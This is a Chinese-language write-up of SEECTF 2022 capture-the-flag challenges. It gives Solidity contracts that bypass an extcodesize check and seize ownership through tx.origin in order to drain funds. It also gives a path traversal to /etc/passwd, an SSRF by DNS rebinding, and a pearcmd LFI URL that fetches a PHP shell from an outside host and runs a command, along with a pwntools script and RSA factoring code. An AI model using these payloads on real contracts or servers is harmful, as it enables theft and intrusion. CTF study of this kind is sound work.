SEECTF 2022 - Writeup
2022-6-7 13:27:10 Author: mp.weixin.qq.com(查看原文) 阅读量:6 收藏

SMART CONTRACTS

Bonjour

部署合约后设置 isSolved 为 true

You Only Have One Chance

合约源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract YouOnlyHaveOneChance {
  uint256 public balanceAmount;
  address public owner;
  uint256 randNonce = 0;
  
  constructor() {
    owner = msg.sender;
    
    balanceAmount =
      uint256(
      keccak256(
        abi.encodePacked(block.timestamp, msg.sender, randNonce)
      )
    ) %
      1337;
  }
  
  function isBig(address _account) public view returns (bool) {
    uint256 size;
    assembly {
      size := extcodesize(_account)
      }
    return size > 0;
  }
  
  function increaseBalance(uint256 _amount) public {
    require(tx.origin != msg.sender);
    require(!isBig(msg.sender), "No Big Objects Allowed.");
    balanceAmount += _amount;
  }
  
  function isSolved() public view returns (bool) {
    return balanceAmount == 1337;
  }
}

需要绕过两个逻辑

require(tx.origin != msg.sender);
require(!isBig(msg.sender), "No Big Objects Allowed.");

部署一个新合约来调用函数就可以做到绕过第一个逻辑,第二个逻辑要使代码区为空,来通过 extcodesize 的检验,但是又必须使用合约调用才能通过第一个逻辑

Note that while the initialisation code is executing, the newly created address exists but with no intrinsic body code.
……
During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account while CODESIZE should return the length of the initialization code.

文档中写道,在执行初始化代码(构造函数),而新的区块还未添加到链上的时候,新的地址已经生成,然而代码区为空,此时,调用 EXTCODESIZE() 返回为 0

部署合约第一次 balanceAmout 为 745, 加上 592 即可通过 isSolved() 函数得到 Flag

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.0;

contract YouOnlyHaveOneChance {
    uint256 public balanceAmount;
    address public owner;
    uint256 randNonce = 0;

    constructor() {
        owner = msg.sender;

        balanceAmount =
            uint256(
                keccak256(
                    abi.encodePacked(block.timestamp, msg.sender, randNonce)
                )
            ) %
            1337;
    }

    function isBig(address _account) public view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(_account)
        }
        return size > 0;
    }

    function increaseBalance(uint256 _amount) public {
        require(tx.origin != msg.sender);
        require(!isBig(msg.sender), "No Big Objects Allowed.");
        balanceAmount += _amount;
    }

    function isSolved() public view returns (bool) {
        return balanceAmount == 1337;
    }
}

contract hack {
    
    function hack(address _c) {
        YouOnlyHaveOneChance c = YouOnlyHaveOneChance(_c);
        c.increaseBalance(592);
    }
}

Duper Super Safe Safe

合约源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DuperSuperSafeSafe {

  address public owner;
  mapping(uint => bytes32) private secret_passphrases;
  uint timestamp;

  constructor(bytes32 _secret_passphrase, bytes32 _secret_passphrase_2) payable {
    owner = msg.sender;
    timestamp = block.timestamp;
    secret_passphrases[0] = _secret_passphrase;
    secret_passphrases[1] = _secret_passphrase_2;
  }

  receive() external payable {}

  modifier restricted() {
    require(
      msg.sender == owner,
      "This function is restricted to the contract's owner"
    );
    _;
  }

  modifier passwordProtected(bytes32 _secret_passphrase, bytes32 _secret_passphrase_2, uint _timestamp) {
    require(keccak256(abi.encodePacked(secret_passphrases[0], secret_passphrases[1], timestamp)) == keccak256(abi.encodePacked(_secret_passphrase, _secret_passphrase_2, _timestamp)), "Wrong secret passphrase");
    _;
  }

  function changeOwner(address _newOwner) public {
    if (tx.origin != msg.sender) {
      owner = _newOwner;
    }
  }

  function changeSecretPassphrase(bytes32 _new_secret_passphrase, bytes32 _new_secret_passphrase_2, bytes32 _secret_passphrase, bytes32 _secret_passphrase_2, uint _timestamp) public restricted passwordProtected(_secret_passphrase, _secret_passphrase_2, _timestamp) {
    secret_passphrases[0] = _new_secret_passphrase;
    secret_passphrases[1] = _new_secret_passphrase_2;
    timestamp = block.timestamp;

  }

  function withdrawFunds(uint _amount, bytes32 _secret_passphrase, bytes32 _secret_passphrase_2, uint _timestamp) external payable restricted passwordProtected(_secret_passphrase, _secret_passphrase_2, _timestamp) {
    require(balanceOf(msg.sender) >= _amount, "Not enough funds");
    payable(address(msg.sender)).transfer(_amount);
  }

  function balanceOf(address _addr) public view returns (uint balance) {
    return address(_addr).balance;
  }

  function isSolved() public view returns (bool) {
    return balanceOf(address(this)) == 0;
  }

}

contract HostileTakeover {
    function changeOwner(address payable target, address newOwner) public {
      DuperSuperSafeSafe(target).changeOwner(newOwner);
    }
}

首先第一步需要获得 Owner权限

modifier restricted() {
    require(
      msg.sender == owner,
      "This function is restricted to the contract's owner"
    );
    _;
  }

关注这几行代码, 通过合约调用时可以获取 Owner权限

function changeOwner(address _newOwner) public {
    if (tx.origin != msg.sender) {
      owner = _newOwner;
    }
  }

题目要求为转移出合约中的所有资金,需要调用函数 withdrawFunds ,调用所需参数有 两个部署时的密码和 timestamp 来通过函数  changeSecretPassphrase 的验证, 测试部署使用密码 0xaa.... 和 0xbb....

产生 transaction hash, 编写 js 脚本查看信息

而部署题目时,我们也有交易Hash,可以通过这个信息获取到 两个密钥和  timestamp

获取后再通过编写合约脚本调用函数 changeOwner 得到 Owner权限,通过 函数 withdrawFunds 清空合约资金

通过得到的密码和 timestamp 转移资金

Forensic

Sniffed Traffic

扔进wireshark发现可疑文件

导出后提示需要密码,tcp contains "password"找到密码 在解压后的文件中发现压缩包,解压需要密码

上工具爆破,秒开

Web

Sourceless Guessy Web (Baby Flag)

直接读取 /etc/passwd

Super Secure Requests Forwarder (SSRF)

利用 dns rebinding 在ceye.io 设置下

Flag Portal (Flag 1)

对目标发送一个请求

双写/绕过

http://flagportal.chall.seetf.sg:10001//admin?backend=http://testctf.wgpsec.org

<?php
  var_dump($_POST);
  var_dump($_SERVER);
?>

Flag Portal (Flag 2)

继续双写绕过

根据上一题拿出来KEY

<?php
$f = fopen("test.txt""w");
$text = $_POST["flag"];
fwrite($f, $text);
?>

Sourceless Guessy Web (RCE Flag)

看到提示联想到 pearcmd

view-source:http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../../usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://testctf.wgpsec.org/s.php

//先是 ls / 发现一个readflag 的二进制文件
<?php system("/readflag")?>

view-source:http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../../tmp/tmp/pear/download/s.php

PWN

4mats

leak libc_base 查 libc

https://mirror.umd.edu/ubuntu/ubuntu/pool/main/g/glibc/
from pwn import *
from ctypes import *
from time import *
context.log_level = 'debug'
p = process('./testpwn')
if args.R:
    p = remote('fun.chall.seetf.sg',50001)
e = ELF('./testpwn')
libc = cdll.LoadLibrary('libc-2.23.so')
libc.srand(int(time()))
v8 = libc.random() % 1000000
p.sendlineafter('register:','1')
p.sendlineafter('Do I know you?','1')
print v8
p.sendlineafter('number!',str(v8))
p.interactive()

wayyang.py

py2input的洞

OSINT

Batnet 1

https://github.com/sherlock-project/sherlock

Misc

Join our Discord

Regex101

SEE{[A-Z]{5}[0-9]{5}[A-Z]{6}

Angry Zeyu2001

扔进ps拼图

Survey

Crypto

Close Enough

import libnum
import gmpy2
from Crypto.PublicKey import RSA

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n, verbose=True):
    a = isqrt(n)  # int(ceil(n**0.5))
    b2 = a * a - n
    b = isqrt(n)  # int(b2**0.5)
    count = 0
    while b * b != b2:
        # if verbose:
        #     print('Trying: a=%s b2=%s b=%s' % (a, b2, b))
        a = a + 1
        b2 = a * a - n
        b = isqrt(b2)  # int(b2**0.5)
        count += 1
    p = a + b
    q = a - b
    assert n == p * q
    # print('a=',a)
    # print('b=',b)
    # print('p=',p)
    # print('q=',q)
    # print('pq=',p*q)
    return p, q

with open("pubckey1.pem""rb"as f:
    key = RSA.import_key(f.read())
    n = key.n
    e = key.e

# 费马分解,
c = 4881495507745813082308282986718149515999022572229780274224400469722585868147852608187509420010185039618775981404400401792885121498931245511345550975906095728230775307758109150488484338848321930294974674504775451613333664851564381516108124030753196722125755223318280818682830523620259537479611172718588812979116127220273108594966911232629219195957347063537672749158765130948724281974252007489981278474243333628204092770981850816536671234821284093955702677837464584916991535090769911997642606614464990834915992346639919961494157328623213393722370119570740146804362651976343633725091450303521253550650219753876236656017
n1 = fermat(n)
p = n1[0]
q = n1[1]
phi_n=(p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(m)
print(libnum.n2s(int(m)).decode())


WgpsecBot

线: http://wiki.peiqi.tech
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 



文章来源: https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247493540&idx=1&sn=b8afbe1761fb333c9340ea545d6747ea&chksm=cecc4ffdf9bbc6eb299126b8f35d99982db573330a2951f11e4f4cd1fccb65a552264115c01f&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh